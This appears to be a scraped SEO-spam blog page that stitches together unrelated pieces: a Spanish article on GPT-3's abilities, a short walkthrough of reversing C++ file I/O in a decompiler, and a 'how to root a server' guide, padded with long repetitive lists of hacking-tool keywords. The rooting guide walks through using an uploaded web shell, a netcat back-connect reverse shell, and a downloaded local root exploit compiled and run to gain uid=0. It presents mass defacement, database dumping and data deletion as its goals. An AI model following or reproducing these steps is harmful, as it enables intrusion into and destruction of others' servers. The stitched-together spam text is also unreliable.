Saturday, August 29, 2020

Meta-aprendizaje Con GPT-3: Aprender A Sumar Leyendo O A Escribir Código Fuente Con Servicios Cognitivos De Texto Predictivo.

En el equipo de Ideas Locas nos encanta hacer proyectos y trabajar con tecnologías de Inteligencia Artificial. Dentro de este tan amplio campo, los servicios cognitivos de NLP (Natural Language Processing) están adquiriendo cada vez mayor importancia. Gracias a ellos podemos empezar a crear interfaces de usuario que humanizan la interacción persona-ordenador, con todas las ventajas que ello supone. 

Figura 1: Meta-aprendizaje con GPT-3: Aprender a sumar leyendo
o a escribir código fuente con servicios cognitivos de Texto Predictivo.

Dentro de este subconjunto de servicios que tratan de alcanzar la paridad humana, hoy os quiero hablar de la generación de texto, o los servicios de Texto Predictivo que ya se usaron en el pasado para construir novelas inventadas de Harry Potter, Drácula o Don Quijote de la Mancha como nos contó nuestro compañeros Fran Ramírez, y tenéis el artidulo de Chema Alonso sobre cómo los servicios de AI han comenzado a superar la paridad humana.

Figura 2: Creación de novelas con herramientas de Texto Predictivo

El problema del Texto Predictivo es aparentemente sencillo de entender. Se trata de crear un modelo entrenado que debe predecir el siguiente elemento del texto basándose en una secuencia previa de caracteres que llevarán a criterios puramente probabilísticos. Por tanto, dada una entrada como  "soy hacke" la salida del modelo debería de ser una "r". A nivel humano esto parece obvio pero la creación y el entrenamiento de estos modelos de IA es realmente complejo, debido a que el lenguaje lo es, aunque no nos demos cuenta como hablantes. 

Figura 3: Modelo de texto predictivo entrenado con probabilidades

Para resolver este problema, el último modelo que ha visto la luz ha sido GPT-3  (con permiso de GShard  de Google que lleva escasos días público) y ha sido desarrollado por OpenAI, empresa de Elon Musk. Es el pistoletazo de salida de una nueva generación de modelos gigantescos  - para que os hagáis una pequeña idea, GPT-3 cuenta con 175.000 millones de parámetros - desarrollados y entrenados por grandes empresas tecnológicas para ser servidos a los usuarios a través de APIs. 

Figura 4: GPT-3 en GitHub

Estos modelos tienen muchas utilidades de todo tipo, y algunos ejemplos los tenéis en el libro de Machine Learning aplicado a Ciberseguridad: Técnicas y ejemplos en la detección de amenazas de nuestros compañeros Fran Ramírez, Carmen Torrano, Sergio Hernández y José Torres. Son tan potentes que estas APIs son privadas y se debe rellenar un formulario detallando los usos que se le va a dar junto con los posibles riesgos, para luego esperar que sea aceptado, ya que podrían usarse para cosas que podrían considerarse negativas.

Figura 5: Libro de Machine Learning aplicado a Ciberseguridad

Puede resultar algo exagerado para un modelo que únicamente predice la siguiente letra, ¿verdad?. Lo que se ha observado con GPT-3, que ya se empezaba a intuir con su hermano pequeño GPT-2, es que es capaz de desarrollar un meta-aprendizaje, es decir, ha aprendido a aprender. Esto es resultado de haber sido entrenado con prácticamente la totalidad de los textos que hay en la red y es aquí es donde reside la potencia de este modelo.

Figura 6: Formulario para ser aceptado


Comúnmente, un modelo se desarrolla para resolver un problema específico. Sin embargo, GPT-3 ha cambiado radicalmente esta mentalidad, ya que ha sido entrenado para una tarea general y son los usuarios los que han ido encontrando distintos casos de uso en los que el modelo se desenvuelve a la perfección. Vamos a ver algunos ejemplos en diferentes ámbitos.

Generación de texto

La generación de texto es el problema fundamental para el cual el modelo ha sido entrenado, por tanto, su desempeño en esta tarea es espectacular. Es capaz de generar contenido escrito de forma que el lector ni se percate de que el texto ha sido generado por un modelo de IA. Pero mucho ojo con esto, porque puede ser utilizado para generar desinformación y ser usado en Fake News.


Operaciones matemáticas

El modelo es capaz de predecir que después de la secuencia "3 + 3 = " el carácter más probable es el "6". ¿Esto significa que sepa sumar? Realmente no, es únicamente cuestión de probabilidad, pero sí que puede dar respuesta a operaciones matemáticas de esta forma... ¿se podrían hacer cálculos matemáticos seguros?

Escribir código

GPT-3 es capaz de escribir código en distintos lenguajes de programación mediante una descripción en lenguaje natural, consiguiendo incluso el desarrollo de frontales web o de redes neuronales.




Estos son únicamente unos ejemplos de lo que GPT-3 es capaz de lograr en los meses que lleva en producción, y puedes ver muchos más ejemplos de aplicación de GPT-3 en este enlace de GPT-3 examples. Nadie sabe aún cuáles son los límites de estos modelos y que nos depararán los próximos que salgan a la luz pero, ¿a que ya no resulta tan exagerado poner las APIs privadas?

Autor: Pablo Saucedo (@psaucedo)

More info

Reversing Some C++ Io Operations

In general decompilers are not friendly with c++ let's analyse a simple program to get familiar with it.
Let's implement a simple code that loads a file into a vector and then save the vector with following functions:

  • err
  • load
  • save
  • main


Lets identify the typical way in C++ to print to stdout with the operator "<<"


The basic_ostream is initialized writing the word "error" to the cout, and then the operator<< again to add the endl.




The Main function simply calls  "vec = load(filename)"  but the compiler modified it and passed the vector pointer as a parámeter. Then it bulds and prints "loaded  " << size << " users".
And finally saves the vector to /tmp/pwd and print "saved".
Most of the mess is basically the operator "<<" to concat and print values.
Also note that the vectors and strings are automatically deallocated when exit the function.


And here is the code:


Let's take a look to the load function, which iterates the ifs.getline() and push to the vector.
First of all there is a mess on the function definition, __return_storage_ptr is the vector.
the ifstream object ifs is initialized as a basic_ifstream and then operator! checks if it wasn't possible to open the file and in that case calls err()
We see the memset and a loop, getline read a cstr like line from the file, and then is converted to a string before pushing it to the vector. lVar1 is the stack canary value.

In this situations dont obfuscate with the vector pointer vec initialization at the begining, in this case the logic is quite clear.



The function save is a bit more tricky, but it's no more than a vector iteration and ofs writing.
Looping a simple "for (auto s : *vec)" in the decompiler is quite dense, but we can see clearly two write, the second write DAT_0010400b is a "\n"



As we see, save implememtation is quite straightforward.




More information
  1. Kik Hack Tools
  2. Bluetooth Hacking Tools Kali
  3. Hack Tools For Games
  4. Hack Tools For Mac
  5. Hacking Tools For Mac
  6. Hacker Tools Software
  7. Game Hacking
  8. Pentest Box Tools Download
  9. Hack And Tools
  10. What Are Hacking Tools
  11. Hacker Techniques Tools And Incident Handling
  12. Pentest Tools Apk
  13. Hacking Tools Free Download
  14. Underground Hacker Sites
  15. Hacker Tool Kit
  16. Hack Tools For Games
  17. Android Hack Tools Github
  18. Hacking Tools Free Download
  19. Kik Hack Tools
  20. Hack Tools For Pc
  21. Hacker Tools Github
  22. Hacker Techniques Tools And Incident Handling
  23. Pentest Tools Alternative
  24. Best Hacking Tools 2020
  25. Hacking Tools Name
  26. Hacking Tools Name
  27. Hacking Tools For Beginners
  28. Pentest Tools Framework
  29. Usb Pentest Tools
  30. Hacking Tools Kit
  31. Pentest Tools For Mac
  32. Hacker Tool Kit
  33. Hacker Tools Github
  34. Hacking Tools For Windows Free Download
  35. Best Hacking Tools 2020
  36. Hacker Tools Hardware
  37. Tools 4 Hack
  38. Hacking Tools For Games
  39. Hacker Tools Apk Download
  40. Pentest Tools For Ubuntu
  41. Hacker Search Tools
  42. Hacking Tools For Beginners
  43. Hacking Tools Mac
  44. Hacker Tools Apk Download
  45. Hacker Tools Apk
  46. Hacker Tools Apk
  47. Hack App
  48. Hacking Tools For Mac
  49. Hacking Tools Kit
  50. Pentest Box Tools Download
  51. Tools For Hacker
  52. Hak5 Tools
  53. Blackhat Hacker Tools
  54. Free Pentest Tools For Windows
  55. Pentest Tools Linux
  56. Hacking Tools For Kali Linux
  57. Easy Hack Tools
  58. Hacking Tools
  59. Pentest Tools Download
  60. Hacking Tools Hardware
  61. Easy Hack Tools
  62. Hacker Tools For Pc
  63. Pentest Tools Download
  64. Pentest Tools Windows
  65. Free Pentest Tools For Windows
  66. Hacking Tools Software
  67. Hacker Tools For Mac
  68. Pentest Tools Website
  69. Hacking Tools Software
  70. Hacking Tools For Windows 7
  71. Tools 4 Hack
  72. Hacker Hardware Tools
  73. Pentest Tools For Ubuntu
  74. Hacking Tools For Mac
  75. Hackers Toolbox
  76. Tools 4 Hack
  77. Hack Rom Tools
  78. Beginner Hacker Tools
  79. Pentest Tools For Ubuntu
  80. What Is Hacking Tools
  81. Github Hacking Tools
  82. Hacking Tools 2019
  83. Pentest Tools Tcp Port Scanner
  84. Growth Hacker Tools
  85. Pentest Tools For Android
  86. Hacking Tools For Windows 7
  87. Hack Website Online Tool
  88. Hack Tools For Pc
  89. Nsa Hack Tools
  90. Hacker Tools Free
  91. Hack Tools Github
  92. New Hack Tools
  93. New Hack Tools
  94. Nsa Hacker Tools
  95. Hacking Tools Pc
  96. Pentest Tools List
  97. Hacking Tools For Kali Linux
  98. Pentest Tools Review
  99. Hacks And Tools
  100. Hacker Tools Software
  101. Hack And Tools
  102. Hacker Tools Apk
  103. Pentest Tools Website
  104. Tools 4 Hack
  105. Hacking Tools Hardware
  106. Pentest Tools
  107. Tools 4 Hack
  108. Hacker
  109. Android Hack Tools Github
  110. Hack Tools 2019
  111. How To Hack
  112. Pentest Tools Alternative
  113. Pentest Tools Port Scanner
  114. Beginner Hacker Tools
  115. Computer Hacker
  116. Hacker
  117. Pentest Recon Tools
  118. Pentest Tools Download
  119. Hacking Tools Free Download
  120. Hacking Tools Usb
  121. Hacker Tools Free
  122. Hacker Tools Free Download
  123. Hacker Tools Apk

HOW TO ROOT A SERVER? – SERVER ROOTING

Servers serve the requests made by the users to the web pages, it acts as a helping hand who serves the requested meal for you. Here I am sharing how to root a server. Root is the Administrator of all server. If someone got root access to it, he can do anything with a server like delete and copy anything on the server, can deface all the websites (massive deface ).
We can't talk about root on windows. That enough for a beginner because if I talk about the root I need another book. So, I guess now we know the importance of root access and why we try to get root.

HOW TO ROOT A SERVER?

There are 3 ways to get ROOT on the server :
1 – With local Root.
2 – With SQL by reading the same important files on it root password.
3 – With exploit on software (Buffer Overflow).
In this post, we will explain local Root. I will explain the other ways soon in some other post.
OK, let's back to work.
After Uploading your shell on the server and getting the local root you will do a back connect and run the local root to Get root. This is a small idea of how it works in the next step you will see how to
find local root and run it to get root access.

HOW TO SEARCH LOCAL ROOT?

First of all we you need to know what version of Kernel.
You can know that from your shell, for example, this version is 2.6.18 – 2012
Go to EXECUTE on your shell and write  "uname -a". You will get the same result, by the way.
Now how to find the local root.
You can use various websites like Exploit-db, packetstormsecurity, vfocus, injector, etc who provides these local roots. One more thing to notice is, that there exist two types of local roots :
1. Local.C: which are not ready.
2. Local: ready to use.

HOW TO GET ROOT ACCESS?

First, you need a shell with a Back Connect option like this :
Enter your "Public IP Address" in SERVER, the port you want to connect on and leave it, Perl, this time, and Finally connect.
So now you must receive the back connect with a Tool named netcat u can download it from the
net. After that open your terminal if you are under Linux or CMD  if you are under Windows. I will explain only Linux, and for Windows, its all the same.
After that Follow the steps :
1- Press nc -vlp 433
2- Wget [the link of the local-Root.zip]
3 – unzip local-Root.zip

4 – chmod 777 local.c

5 – now to change the local-root from local.c > local
gcc local.c -o local Then you will find local.c transformed to local

6 – chmod 777 local

7 – ./local to local rootwork

8 – su
then see your id uid=0(root) gid=0(root) groups=0(root)


Getting UID=0 means, u had got root privileges and hence can do a variety of stuff on the remote server say Mass deface, dump database, redirect sites, change content, etc etc.
AFTER THE ROOT 
As server gets rooted, you're able to do the many things with it like I mentioned above. Such as, withdrawal of domains, massive deface and also deletion of the data completely.

Related articles


  1. Pentest Tools Review
  2. Pentest Tools Apk
  3. Hacking Tools Github
  4. Hacking Apps
  5. Termux Hacking Tools 2019
  6. Hacking Tools For Games
  7. Hack Apps
  8. Pentest Tools Review
  9. New Hacker Tools
  10. Hacker Tools Free Download
  11. Hacker Security Tools
  12. Hacker Tools
  13. Hacker Tools Software
  14. Hacker Hardware Tools
  15. Pentest Tools Free
  16. Tools 4 Hack
  17. Pentest Tools For Windows
  18. Tools For Hacker
  19. Hacking Tools For Beginners
  20. Nsa Hacker Tools
  21. Hack Tools Mac
  22. How To Hack
  23. Pentest Tools Subdomain
  24. Hack Tools For Pc
  25. Hacker Tools For Mac
  26. Free Pentest Tools For Windows
  27. Hacker Tools List
  28. Nsa Hack Tools
  29. New Hack Tools
  30. Pentest Tools Url Fuzzer
  31. Game Hacking
  32. Hacker Tools Free Download
  33. Hack App
  34. What Is Hacking Tools
  35. Hacker Tools List
  36. Hacking Tools Mac
  37. Hacker Tools Apk Download
  38. Pentest Tools Android
  39. Hacking Tools For Pc
  40. Hack Tools For Games
  41. Hacking Tools Name
  42. Best Hacking Tools 2020
  43. Hack Tools 2019
  44. Tools 4 Hack
  45. Usb Pentest Tools
  46. Hacker Tools For Pc
  47. Hacking Tools
  48. Best Pentesting Tools 2018
  49. Pentest Tools Online
  50. Hack Tools
  51. What Are Hacking Tools
  52. Growth Hacker Tools
  53. Hacker Tool Kit
  54. Hacker
  55. Hack Website Online Tool
  56. Hacker Tool Kit
  57. How To Make Hacking Tools
  58. Pentest Tools Alternative
  59. Hack And Tools
  60. Hack Tools